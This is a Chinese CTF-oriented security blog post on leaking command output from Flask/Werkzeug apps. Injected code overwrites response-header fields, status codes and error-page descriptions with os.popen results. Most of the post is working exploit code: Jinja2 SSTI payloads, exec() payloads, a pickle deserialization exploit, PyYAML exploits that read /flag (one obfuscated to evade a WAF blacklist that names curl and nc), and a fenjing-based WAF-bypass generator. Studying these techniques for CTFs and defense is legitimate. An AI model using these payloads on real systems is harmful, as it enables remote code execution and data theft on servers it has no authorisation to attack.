flask新回显方式

p0l1st Lv2

前言

flask请求头回显的学习和探究如何进行错误页面污染回显

Jinja2-SSTI通过Server请求头带出命令回显

Jinja2-SSTI 新回显方式技术学习

在先知社区拜读了上面三篇文章,原理其实就是污染HTTP响应头和错误页面为我们命令执行的结果。

但是这三篇文章讲的都是基于SSTI的污染,如果是其他漏洞场景呢,比如反序列化、代码执行。

强网杯线下赛有一道pyramid的题,漏洞点存在于exec(),有种方法就是污染响应内容。所以我们可以把基于SSTI污染的payload先改成exec可以执行的代码。

关于SSTI回显分析的过程不再演示,参考上面三篇文章就行,先附上基于SSTI污染的payload。

SSTI

server_version

1
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

sys_version

1
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

http protocol_version

1
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

状态码

1
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__.__import__('base64').b64encode(url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()).decode())}}

500页面

1
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

404页面

1
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

exec

demo

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/e',methods=['GET','POST'])
def e():
p0 = request.args.get("p0")
exec(p0)
return "success"

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=1337)

然后把payload改成exec可以直接执行的代码,其实也就是从相应模块中导入类,再使用setattr把类中对应的属性污染为我们命令执行的结果

server_version

1
from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "server_version", os.popen('whoami').read().strip())

image-20250124211207028

sys_version

1
from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "sys_version", os.popen('whoami').read().strip())

image-20250124211246497

http protocol_version

1
from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "protocol_version", os.popen('whoami').read().strip())

image-20250124211048100

状态码

1
from werkzeug.wrappers import Response; import os; import base64; setattr(Response, 'default_status', base64.b64encode(os.popen('whoami').read().encode()).decode())

image-20250124213243947

image-20250124213309765

500页面

1
from werkzeug.exceptions import InternalServerError; import os; setattr(InternalServerError, "description", os.popen('whoami').read().strip())

image-20250124204943133

404页面

1
from werkzeug.exceptions import NotFound; import os; setattr(NotFound, "description", os.popen('whoami').read().strip())

image-20250124205615201

Pickle反序列化

上面已经构造出了exec可以执行的代码,那么这个payload同样在pickle反序列化也是可以使用的,前提是通过exec执行。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

from flask import Flask, request
import pickle

app = Flask(__name__)

@app.route('/',methods=['GET','POST'])
def index():
p = request.args.get('p')
pickle.loads(base64.b64decode(p))
return "success"

if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0", port=1337)

exp

1
2
3
4
5
6
7
import base64
import pickle
class cmd():
def __reduce__(self):
return (exec,("from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, \"server_version\", os.popen('whoami').read().strip())",))
A= cmd()
print(base64.b64encode(pickle.dumps(A)))

污染成功

image-20250124215341695

PyYaml反序列化

同样也是通过exec来执行

这里就以DASCTF2024最后一战yaml_master为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

input_str_lower = str(input_str).lower()


for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
return bool(file_pattern.match(filename))

@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
uploaded_file = request.files['file']

if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
uploaded_file.save(file_path)

return jsonify({"message": "uploaded successfully"}), 200
else:
return jsonify({"error": "Just YAML file"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500


return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'


if __name__ == '__main__':
app.run()

open读文件,然后直接污染server_version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests


url = 'http://node5.buuoj.cn:29936/'


content="""!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
bb=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )
"""

files = {'file': ('1.yaml', content, 'application/octet-stream')}

response = requests.post(url+'upload', files=files)


print(response.status_code)
print(response.text)


res = requests.get(url=url+'Yam1?filename=1')
print(res.headers)

image-20250124220247896

或者通过bytes绕过,rce读flag

1
2
exp = 'from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "sys_version", os.popen(\'cat /f*\').read().strip())'
print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests


url = 'http://node5.buuoj.cn:29936/'


content="""!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "exec(bytes([[j][0]for(i)in[range(138)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[102]]or[i]in[[1]]and[j]in[[114]]or[i]in[[2]]and[j]in[[111]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[32]]or[i]in[[5]]and[j]in[[119]]or[i]in[[6]]and[j]in[[101]]or[i]in[[7]]and[j]in[[114]]or[i]in[[8]]and[j]in[[107]]or[i]in[[9]]and[j]in[[122]]or[i]in[[10]]and[j]in[[101]]or[i]in[[11]]and[j]in[[117]]or[i]in[[12]]and[j]in[[103]]or[i]in[[13]]and[j]in[[46]]or[i]in[[14]]and[j]in[[115]]or[i]in[[15]]and[j]in[[101]]or[i]in[[16]]and[j]in[[114]]or[i]in[[17]]and[j]in[[118]]or[i]in[[18]]and[j]in[[105]]or[i]in[[19]]and[j]in[[110]]or[i]in[[20]]and[j]in[[103]]or[i]in[[21]]and[j]in[[32]]or[i]in[[22]]and[j]in[[105]]or[i]in[[23]]and[j]in[[109]]or[i]in[[24]]and[j]in[[112]]or[i]in[[25]]and[j]in[[111]]or[i]in[[26]]and[j]in[[114]]or[i]in[[27]]and[j]in[[116]]or[i]in[[28]]and[j]in[[32]]or[i]in[[29]]and[j]in[[87]]or[i]in[[30]]and[j]in[[83]]or[i]in[[31]]and[j]in[[71]]or[i]in[[32]]and[j]in[[73]]or[i]in[[33]]and[j]in[[82]]or[i]in[[34]]and[j]in[[101]]or[i]in[[35]]and[j]in[[113]]or[i]in[[36]]and[j]in[[117]]or[i]in[[37]]and[j]in[[101]]or[i]in[[38]]and[j]in[[115]]or[i]in[[39]]and[j]in[[116]]or[i]in[[40]]and[j]in[[72]]or[i]in[[41]]and[j]in[[97]]or[i]in[[42]]and[j]in[[110]]or[i]in[[43]]and[j]in[[100]]or[i]in[[44]]and[j]in[[108]]or[i]in[[45]]and[j]in[[101]]or[i]in[[46]]and[j]in[[114]]or[i]in[[47]]and[j]in[[59]]or[i]in[[48]]and[j]in[[32]]or[i]in[[49]]and[j]in[[105]]or[i]in[[50]]and[j]in[[109]]or[i]in[[51]]and[j]in[[112]]or[i]in[[52]]and[j]in[[111]]or[i]in[[53]]and[j]in[[114]]or[i]in[[54]]and[j]in[[116]]or[i]in[[55]]and[j]in[[32]]or[i]in[[56]]and[j]in[[111]]or[i]in[[57]]and[j]in[[115]]or[i]in[[58]]and[j]in[[59]]or[i]in[[59]]and[j]in[[32]]or[i]in[[60]]and[j]in[[115]]or[i]in[[61]]and[j]in[[101]]or[i]in[[62]]and[j]in[[116]]or[i]in[[63]]and[j]in[[97]]or[i]in[[64]]and[j]in[[116]]or[i]in[[65]]and[j]in[[116]]or[i]in[[66]]and[j]in[[114]]or[i]in[[67]]and[j]in[[40]]or[i]in[[68]]and[j]in[[87]]or[i]in[[69]]and[j]in[[83]]or[i]in[[70]]and[j]in[[71]]or[i]in[[71]]and[j]in[[73]]or[i]in[[72]]and[j]in[[82]]or[i]in[[73]]and[j]in[[101]]or[i]in[[74]]and[j]in[[113]]or[i]in[[75]]and[j]in[[117]]or[i]in[[76]]and[j]in[[101]]or[i]in[[77]]and[j]in[[115]]or[i]in[[78]]and[j]in[[116]]or[i]in[[79]]and[j]in[[72]]or[i]in[[80]]and[j]in[[97]]or[i]in[[81]]and[j]in[[110]]or[i]in[[82]]and[j]in[[100]]or[i]in[[83]]and[j]in[[108]]or[i]in[[84]]and[j]in[[101]]or[i]in[[85]]and[j]in[[114]]or[i]in[[86]]and[j]in[[44]]or[i]in[[87]]and[j]in[[32]]or[i]in[[88]]and[j]in[[34]]or[i]in[[89]]and[j]in[[115]]or[i]in[[90]]and[j]in[[121]]or[i]in[[91]]and[j]in[[115]]or[i]in[[92]]and[j]in[[95]]or[i]in[[93]]and[j]in[[118]]or[i]in[[94]]and[j]in[[101]]or[i]in[[95]]and[j]in[[114]]or[i]in[[96]]and[j]in[[115]]or[i]in[[97]]and[j]in[[105]]or[i]in[[98]]and[j]in[[111]]or[i]in[[99]]and[j]in[[110]]or[i]in[[100]]and[j]in[[34]]or[i]in[[101]]and[j]in[[44]]or[i]in[[102]]and[j]in[[32]]or[i]in[[103]]and[j]in[[111]]or[i]in[[104]]and[j]in[[115]]or[i]in[[105]]and[j]in[[46]]or[i]in[[106]]and[j]in[[112]]or[i]in[[107]]and[j]in[[111]]or[i]in[[108]]and[j]in[[112]]or[i]in[[109]]and[j]in[[101]]or[i]in[[110]]and[j]in[[110]]or[i]in[[111]]and[j]in[[40]]or[i]in[[112]]and[j]in[[39]]or[i]in[[113]]and[j]in[[99]]or[i]in[[114]]and[j]in[[97]]or[i]in[[115]]and[j]in[[116]]or[i]in[[116]]and[j]in[[32]]or[i]in[[117]]and[j]in[[47]]or[i]in[[118]]and[j]in[[102]]or[i]in[[119]]and[j]in[[42]]or[i]in[[120]]and[j]in[[39]]or[i]in[[121]]and[j]in[[41]]or[i]in[[122]]and[j]in[[46]]or[i]in[[123]]and[j]in[[114]]or[i]in[[124]]and[j]in[[101]]or[i]in[[125]]and[j]in[[97]]or[i]in[[126]]and[j]in[[100]]or[i]in[[127]]and[j]in[[40]]or[i]in[[128]]and[j]in[[41]]or[i]in[[129]]and[j]in[[46]]or[i]in[[130]]and[j]in[[115]]or[i]in[[131]]and[j]in[[116]]or[i]in[[132]]and[j]in[[114]]or[i]in[[133]]and[j]in[[105]]or[i]in[[134]]and[j]in[[112]]or[i]in[[135]]and[j]in[[40]]or[i]in[[136]]and[j]in[[41]]or[i]in[[137]]and[j]in[[41]]]))"
"""

files = {'file': ('1.yaml', content, 'application/octet-stream')}

response = requests.post(url+'upload', files=files)


print(response.status_code)
print(response.text)


res = requests.get(url=url+'Yam1?filename=1')
print(res.headers)

image-20250124220639751

污染+fenjing

还是回到SSTI,前面的SSTI Payload都是没有过滤的,既然我们已经构造出了exec可以执行的代码,那么就可以搭配fenjing写个绕过一把梭exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import fenjing
import logging
import requests


logging.basicConfig(level=logging.INFO)


payload = r"""
[
app.view_functions
for app in [__import__('sys').modules["__main__"].app]
for request in [__import__('sys').modules["__main__"].request]
if [
app.__dict__.update({'_got_first_request': False}),
app.after_request_funcs.setdefault(None, []).append(
lambda resp: exec(
r"from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, 'server_version', os.popen('whoami').read().strip())"
) or resp
)
]
]
"""


def waf(s):
blacklist = [
'\\', '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n', ' '
]
return all(word not in s for word in blacklist)

if __name__ == '__main__':
full_payload_gen = fenjing.FullPayloadGen(waf)
exp, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.STRING, payload))
print(exp)
url = "http://127.0.0.1:5000/"
r = requests.post(url=url, data={"code": exp})
print(r.headers)
print(r.text)

这里的黑名单是用的CISCN&CCB的Safe_Proxy,本地搭一下直接打

image-20250124225358565

成功污染。

  • Title: flask新回显方式
  • Author: p0l1st
  • Created at : 2025-01-24 23:19:23
  • Updated at : 2025-03-09 11:39:54
  • Link: https://blog.p0l1st.top/2025/01/24/flask新回显方式/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments